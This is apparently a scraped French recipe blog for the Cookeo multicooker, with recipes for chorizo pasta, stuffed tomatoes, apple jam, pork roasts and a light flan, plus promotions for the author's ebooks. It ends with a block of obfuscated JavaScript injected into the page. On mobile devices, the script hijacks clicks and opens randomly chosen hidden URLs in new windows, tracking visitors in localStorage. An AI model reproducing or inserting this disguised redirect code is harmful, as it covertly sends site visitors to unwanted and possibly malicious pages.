Pâtes au chorizo recette cookeo

Pâtes au chorizo recette cookeo

Pâtes au chorizo recette cookeo

Ingrédients pour 1 personne

70 g de pâtes de votre choix

35 g de chorizo

1 cuillère à café de concentré de tomates 

40 g d’oignon congelés ou un oignon frais 

1 cuillère à café d’huile

300 ml d’eau

Pour 2,3 ou 4 personnes

multiplier la quantité de chorizo . Exemple 2 personnes 2X35 g. 

Ajoutez un peu d’oignon (pas trop)

Pour l’eau il faut recouvrir les pâtes 

Ajoutez 1 cuillère de concentré de tomates par personnes

Pour l’huile rajoutez juste une cuillère à café quelque soit le nombre (ce n’est pas la peine d’en mette trop car le chorizo fait rendre de la graisse)

Préparation 

Mode dorer

Versez l’huile dans la cuve 

Déposer les morceaux d’oignons et les rondelles de chorizo dans la cuve du cookeo et faites dorer

Ajoutez les pâtes

Versez l’eau (cela doit recouvrir les pâtes)

Cuisson rapide ou sous pression 

Programmer le temps indiqué sur le paquet de pâtes divisé par 2

Quand la cuisson est terminée égouttez votre cuve s’il reste trop d’eau sinon ajoutez le concentré de tomates. Mélangez et servez chaud

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Tomates farcies riz recette cookeo

Tomates farcies riz recette cookeo

Tomates farcies riz recette cookeo

Ingrédients pour 5 personnes

300 g de riz

5 tomates

300 g de viande hachée

1 cuillère à soupe de concentré de tomates

Persil

1 petit verre de vin blanc

300 ml d’eau

Sel

Poivre

1 oignon

Préparation

Découpez des chapeaux pour les tomates. Enlever la chair pour vider vos tomates.

Hachez l’oignon puis hachez la chair de tomates.

Mélangez dans un saladier la viande hachée avec l’oignon et la chair de tomates. Mélangez ;

Salez, poivrez, saupoudrez de persil.

Ajoutez la cuillère à soupe de concentré de tomates. Versez la moitié du verre de vin blanc et mélangez.

Garnissez vos tomates de l’ensemble de la préparation. Reposez les chapeaux.

Versez le riz dans la cuve. Déposez ensuite les tomates.

Versez l’eau et le reste du verre de vin blanc.

Cuisson rapide ou sous pression

Programmez 5 mn (le temps indiqué sur le paquet de riz divisé par 2)

Servez chaud

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Confiture pommes agar agar au cookeo

Confiture pommes  recette cookeo

Confiture pommes  recette cookeo

Ingrédients

1 kg  de pommes

400 g de sucre en poudre

20 ml de jus de citron

1 sachet d’agar agar

1 sachet de sucre vanillé

Préparation 

Lavez et coupez les pommes  en morceaux

Déposez dans la cuve les morceaux de pommes 

Ajoutez le sucre 

Ajoutez le sachet d’agar agar

Versez le jus de citron

Mélangez.

Laissez macérer une petite heure (facultatif)

Passez en mode dorer 

Remuez de temps en temps jusqu’à l’ébullition .

Quand la préparation arrive à ébullition, maintenez à ébullition pendant 5 mn tout en remuant.

Au bout de 5 mn arrêtez votre cookeo.

Mixez la préparation (facultatif)

Versez la confiture dans les pots. Vissez les couvercles et retournez les pots pour les rendre hermétiques.

Retournez à nouveau les pots quand ils sont froids et rangez-les ou consommez les .

[youtube https://www.youtube.com/watch?v=wwY-FtM3PhM?si=l0gi3XVvXT9iblxn&w=560&h=315]
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Les livres cookeo de JP

Les livres cookeo de JP

Les livres cookeo de JP

Découvrez dans cet article les livres de JP cookeo . Ils sont pour l’instant au nombre de 3 . Ils existent en format PDF et en livre broché. Ils sont en vente sur Amazon pour l’instant .

Pour commander au consulter les livres ou ebook CLIQUEZ SUR LA PHOTO DU LIVRE CONCERNE


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60 recettes minceur cookeo : l’ebook

60 recettes minceur cookeo : l'ebook

60 recettes minceur cookeo : l’ebook

Venez découvrir mon ebook sur le site Amazon .

Vous trouverez donc dans cet Ebook 60 recettes  minceur cookeo . Pour le découvrir cliquez ICI ou sur l’image 

Voici le sommaire :

Aubergines courgettes Boursin 168 CALORIES 4 PP 4 SP. 8

Blanquette de poireaux 125 CALORIES 3 PP 2 SP. 9

Carottes bolognaises 240 CALORIES 5 PP 6 SP. 10

Filet mignon tomates 195 CALORIES 4 PP 4 SP. 11

Œufs brouillés oignons 190 CALORIES 5 PP 6 SP. 12

Moules au safran 430 CALORIES 9 PP 11 SP. 13

Râbles de lapin à la tomate 270 CALORIES 6 PP 6 SP. 14

Saumon champignons de Paris 190 CALORIES 5 SP. 15

Spaghettis Bolognaise allégée 235 CALORIES 5 PP 9 SP. 16

Bolognaise saumon 198 CALORIES 4 PP 5 SP. 17

Blanquette de poulet express 250 CALORIES 1 SP. 18

Compote de pêches 110 CALORIES 3 PP 5 SP. 19

Hachis indien 210 CALORIES 5 PP 5 SP. 20

Noix Saint Jacques express 185 CALORIES 5 PP 3 SP. 21

Poivrons farcis merguez 310 CALORIES 8 PP 10 SP. 22

Poulet aux 3 légumes 206 CALORIES 4 PP 4 SP. 23

Compote pommes ananas 135 CALORIES 3 PP 2 SP. 24

Curry poulet 225 CALORIES 5 PP 6 SP. 25

Spaghettis moules marinières 235 CALORIES 5 PP 10 SP. 26

Courgettes poivrons chorizo208 CALORIES 5 PP 3 SP. 27

Salsifis provençaux 225 CALORIES 6 PP 7 SP. 28

Spaghettis Noix Saint Jacques 240 CALORIES 10 SP. 29

Curry de légumes 250 CALORIES 5 PP 4 SP. 30

Spaghettis asperges 170 CALORIES 3 PP 8 SP. 31

Spaghettis poulet tomate 298 CALORIES 6 PP 10 SP. 32

Tomates farcies champignons189 CALORIES 6 SP. 33

Courgettes farcies 155 CALORIES 3 PP 3 SP. 34

Compote pommes orange 165 CALORIES 3 PP 2 SP. 35

Salade moules betteraves 230 CALORIES 6 PP 5 SP. 36

Courgettes chorizo 175 CALORIES 4 PP 3 SP. 37

Ratatouille piment Espelette 215 CAL 5 PP 3 SP. 38

Salade lentilles tomates 265 CALORIES 6 PP 5 SP. 39

Boeuf haché méditéranéen 215 CALORIES 5 PP 3 SP. 40

Carottes Crème fraîche paprika 235 CALORIES 6 PP 4 SP. 41

Rôti porc froid préparation 345 CALORIES 8 PP 10 SP. 42

Salade riz asperges Boursin 165 CALORIES 4 PP 4 SP. 43

Salade courgettes feta 210 CALORIES 6 PP 7 SP. 44

Salade riz thon 155 CALORIES 3 PP 2 SP. 45

Salade piémontaise légère 340 CALORIES 8 PP 8 SP. 46

Salade lentilles jambon 245 CALORIES 6 SP. 47

Poulet Basquaise style ww cookeo220 CALORIES 2 SP. 48

Filet mignon aux légumes d’été 230 CALORIES 6 SP. 49

Asperges sauce citron 125 CALORIES  4 PP 4 SP. 50

Aubergines tomates 120 CALORIES 3 PP 2 SP. 51

Taboulé 130 CALORIES 3 PP 3 SP. 52

Asperges vertes citron 125 CALORIES 4 PP 4 SP. 53

Asperges dinde citron 235 CALORIES 6 PP 4 SP. 54

Couscous légumes 120 CALORIES 3 PP 4 SP. 55

Poireaux sauce asiatique 120 CALORIES 3 PP 2 SP. 56

Flan champignons carottes 170 CALORIES 4 PP 4 SP. 57

Taboulé thon CALORIES 4 PP 4 SP. 58

Taboulé poulet citron 230 CALORIES 5 PP 3 SP. 59

Terrine saumon 270 CALORIES 6 PP 3 SP. 60

Gratin courgettes parmesan 220 CALORIES 5 PP 5 SP. 61

Salade haricots verts saumon 215 CALORIES 5 PP 3 SP. 62

Escalopes porc carottes express 250 CALORIES 5 PP 6 SP. 63

Salade poulet petit pois radis 215 CALORIES 6 PP 4 SP. 64

Caviar d’aubergines 80 CALORIES 2 PP 3 SP. 65

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50 recettes cookeo salades pour les beaux jours : l’ebook

Ebook 50 recettes cookeo de salades

Venez découvrir mon ebook sur le site Amazon .

Vous trouverez donc dans cet Ebook 50 recettes cookeo de salades CLIQUEZ ICI 

  • Salade de pommes de terre
  • Salades de riz composées
  • Salade de pâtes
  • Salades de haricots verts
  • Salades de macédoine etc….

Pour chaque recette vous avez une petite photo qui accompagne.
Voilà un extrait du sommaire
Salade haricots thon tomates. 8
Salade haricots verts œufs. 9
Salade 2 haricots thon au cookeo. 10
Salade composée œufs riz tomates. 11
Salade toute verte. 12
Salade pommes de terre saumon. 13
Salade 2 haricots tomates. 14
Salade composée riz tomates. 15
Salade petits pois asperges poulet. 16
Salade tomates haricots maïs. 17
Salade composée thon. 18
Salade haricots verts poulet tomates. 19
Salade pommes de terre tomates haricots. 20
Salade dinde haricots beurre. 21
Salade haricots vert pomme de terre. 22
Salade pommes de terre tomates feta. 23
Salade courgettes dinde recette. 24
Salade haricots verts sauce soja. 25
Salade betteraves fromage brebis. 26
Salade haricots verts saumon. 27
Salade courgettes chèvre basilic. 28
Salade poulet petit pois radis. 29
Salade composée riz poulet. 30
Salade farfalles 2 tomates. 31
Salade asperges riz Boursin. 32
Salade poulet poivrons tomates. 33
Salade tomates lentilles. 34
Salade moules betteraves. 35
Salade haricots verts champignons. 36
Salade composée macédoine. 37
Salade chou -fleur. 38
Salade de pâtes multicolores. 39
Salade macédoine express. 40
Salade lentilles lardons. 41
Salade haricots verts maquereaux. 42
Salade poireaux vinaigrette. 43
Salade composée riz saumon. 44
Salade composée mayonnaise. 45
Salade pommes de terre. 46
Salade riz fonds d’artichauts. 47
Salade lentilles poulet. 48
Salade lentilles pommes de terre. 49
Salade torsades surimi recette cookeo. 50
Salade lentilles avocat recette cookeo. 51
Salade torsades multicolores. 52
Salade pommes de terre cornichons. 53
Salade riz truite fumée recette cookeo. 54
Salade pommes de terre carottes. 55
Salade composée riz dinde. 56
Salade presque niçoise. 57
Salade chou-fleur œufs. 58
Salade macédoine au thon. 59
Salade thon pommes de terre. 60
Salade poireaux œufs. 61
Salade haricots blancs thon. 62
Blé à la grecque recette cookeo. 63

Pour consulter ou commander l’ebook CLIQUEZ ICI

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Rôti de porc riz tomates recette cookeo

Rôti de porc riz tomates recette cookeo

Rôti de porc riz tomates recette cookeo

Ingrédients

1 rôti de porc

250 g  de riz

100 ml de vin blanc

1 cube de bœuf

500 ml d’eau

2 cuillères à soupe d’huile

Curry

1 petite boite de tomates pelées

2 cuillères à café de concentré de tomates

Poivre

Sel

Préparation

Préparez un bouillon avec 100 ml de vin blanc ,500 ml d’eau et un cube de bouillon de boeuf émietté

Rincez le riz

Versez l’huile dans la cuve, quand l’huile est chaude faites revenir le rôti de porc sur toutes ses faces.

Versez le bouillon préparé

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 35 mn.

Quand la cuisson est terminée ajoutez le riz et  et les tomates pelées

 Reprogrammez 5 mn de cuisson rapide ou sous pression.

Quand la cuisson est terminée ajoutez le concentré de tomates. Mélangez

Servez chaud 

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Pâtes au chorizo recette cookeo

Pâtes chorizo crevettes recette cookeo

Pâtes chorizo crevettes recette cookeo

Ingrédients pour 4 personnes

280 g de pâtes

120 g de chorizo 

150 g d’oignons congelés

Eau pou recouvrir 

2 cuillères à soupe d’huile

1 petite boite de tomates pelées

4 cuillères à café de concentré de tomates

 

Ingrédients pour 1 personne

70 g de pâtes

35 g de chorizo

50 g d’oignons congelés

Eau pour recouvrir

1 cuillère à soupe d’huile

1 cuillère à café de concentré de tomates

Préparation 

Coupez le chorizo en rondelles

Mode dorer

Déposez les les rondelles de chorizo et les morceaux d’oignons dans la cuve du cookeo

Versez l’eau (les pâtes doivent être recouvertes au ras)

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de pâtes divisé par 2

Quand la cuisson est terminée ajoutez le concentré de tomates ,mélangez et servez chaud

[youtube https://www.youtube.com/watch?v=niKqKFYVlZc?si=3MRSywucWpwfAvrM&w=560&h=315]
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1100 RECETTES COOKEO DE SPORT ET VIE PRATIQUE

1100 RECETTES COOKEO DE SPORT ET VIE PRATIQUE

44 RECETTES COOKEO LETTRES A ET B

141 RECETTES COOKEO LETTRE CDE 

141 RECETTES COOKEO FGHIJ

180 RECETTES COOKEO LMNOP

118 RECETTES COOKEO QR 

163 RECETTES COOKEO S

20 RECETTES COOKEO TUV

120 RECETTES COOKEO LIGHT

200 RECETTES COOKEO EXTRA CRISP

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Flan et poulet canja wwatchers au cookeo

Flan et poulet canja wwatchers au cookeo

Flan weight watchers cookeo

180 CALORIES 4 PP 4 SP

Ingrédients pour 8 parts

3 œufs

15 g d’édulcorant

90 g de maïzena

750 ml de lait

2 cuillères à soupe d’extrait de vanille

Préparation

Battez les œufs dans un saladier avec l’édulcorant, l’arôme vanille et la maïzena diluée dans de l’eau

Faites préchauffer votre four à 180°.

 Mode dorer

Versez le lait dans la cuve.

Quand le lait commence à crépiter ajoutez le mélange œufs édulcorant maïzena, arôme vanille

Quand le mélange arrive à ébullition arrêter votre cookeo et versez l’ensemble de la préparation dans un moule sur du papier sulfurisé

Enfournez 35 à 40 mn à 180°.

Laissez refroidir à l’air libre et placer le moule au frigo

Poulet canja weight watchers au cookeo

415 CALORIES 9 PP 8 SP

Une recette  weight watchers au cookeo de poulet canja . Une Recette quelque peu modifiée. Mais qui au final présente moins de calories de SP et de PP  et qui préserve toute sa saveur.

La recette originale se fait avec 1,2 kg de poulet moi j’ai remplacé par 600 g d’escalope de poulet.

Ingrédients pour 4 personnes

200 g de carottes

100 g d’oignons

2 navets

200 g de poireaux

2 tomates

600 g d’escalope de poulet

180 g de riz basmati ou autre

50 g de jambon cru

2 cuillères à café d’huile d’olive

1 cube de bouillon de volaille

Ail déshydraté

Sel

Poivre

Préparation 

Mode dorer

Versez de l’huile dans la cuve et faite dorer les oignons et les escalopes de poulet coupées en morceaux. Puis ajoutez les morceaux de jambon cru.

Ajoutez les  rondelles de carottes, les rondelles de poireaux, les tomates coupées en morceaux ainsi que le navet coupé en morceaux.

Versez le riz  et l’eau avec un cube de bouillon de volaille émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous  pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Servez chaud

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Boulettes de boeuf lentilles recette cookeo

Boulettes de boeuf lentilles recette cookeo

Boulettes de boeuf lentilles recette cookeo

Ingrédients pour 4 personnes

12 boulettes de boeuf

300 g de lentilles

100 ml de vin blanc

800 ml d’eau

1 poivron

1 petite boite de tomates pelées

Sel

Poivre

Curry

2 cuillères à café de concentré de tomates

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de boeuf

 

Préparation

Préparez un bouillon avec 800 ml d’eau, 100ml de vin blanc et un cube de bouillon de boeuf émietté

Rincez les lentilles.

Epépinez et coupez le poivron en morceaux

 

Mode dorer

Versez l’huile et faites revenir les morceaux de poivrons  et les boulettes de boeuf

Saupoudrez de curry

Versez les lentilles dans la cuve

Versez le bouillon préparé

Salez et poivrez.

 

Cuisson rapide ou sous pression Programmez 1Omn

Quand la cuisson est terminée ajoutez le concentré de tomates , mélangez .

 servez chaud.

[youtube https://www.youtube.com/watch?v=oozmCjYp3AU?si=JW1Hp-C1QnZmistx&w=560&h=315]
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Confiture de lait recette cookeo

Confiture de lait recette cookeo

Confiture de lait recette cookeo

Ingrédients 

1 boite de 397 g de lait concentré sucré

Placez un chiffon dans le fond de la cuve du cookeo

Déposez la boite de concentré dans la cuve du cookeo sur le torchon

Recouvrez la boite de lait avec de l’eau .

Cuisson sous pression ou cuisson rapide 

Programmez 25 mn

Sortez la boite de lait (attention c’est très chaud) prenez un torchon par exemple

Laissez refroidir la boite de lait à l’air libre

Quand la boite est froide ouvrez la.

Versez le contenu de la boite dans un pot en verre 

Fermez avec un couvercle , retournez le pot 

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Rôti de porc flageolets tomates recette cookeo

Rôti de porc flageolets tomates recette cookeo

Rôti de porc flageolets tomates recette cookeo

Ingrédients pour 4 personnes
1 rôti de porc 800 g
1 petite boite de tomates pelées
1 gousse d’ail
400 g de flageolets surgelés
1 oignon frais
2 cuillères à soupe d’huile
1 cube de bouillon de bœuf
300 ml d’eau
1 petite boite de concentré  de tomates
Sel
Poivre
Préparation 

Préparation

Coupez l’oignon en morceaux ainsi que la gousse d’ail

Préparez un bouillon avec 300 ml d’eau et un cube de bouillon de bœuf émietté.

 

Mode dorer

Versez l’huile dans la cuve

Faites revenir le rôti de porc sous toutes ses faces

Faites dorer les oignons

Salez ,poivrez, 

Versez le bouillon préparé.

Cuisson sous pression ou cuisson rapide

Programmez 30 mn

Quand la cuisson est terminée ,ajoutez les flageolets et les tomates pelées 

Reprogrammez 10 mn de cuisson sous pression ou cuisson rapide

Ajoutez 2 cuillères à café de concentré de tomates dans la cuve et mélangez

Coupez votre rôti en tranches

Servez chaud

[youtube https://www.youtube.com/watch?v=KyuWnKPKZ-o?si=OQhtZ-jVhootALW0&w=560&h=315]
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Pâte à tartiner style nutella au cookeo

Pâte à tartiner style nutella au cookeo

Pâte à tartiner style nutella au cookeo

Ingrédients pour 2 pots

100 g de chocolat pralinoise

100 g de chocolat noir

30 g de  poudre de noisette

1 boite de lait concentré sucré (397 g)

4 cuillères à soupe d’huile de tournesol

Préparation

Mode Dorer

Faire fondre le chocolat noir et praliné

Ajoutez le lait

Ajoutez la poudre de noisette

Ajoutez l’huile

Laissez à ébullition pendant une minute

Versez l’ensemble de la préparation dans des pots de confiture

Retournez les pots pour qu’ils deviennent hermétiques

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());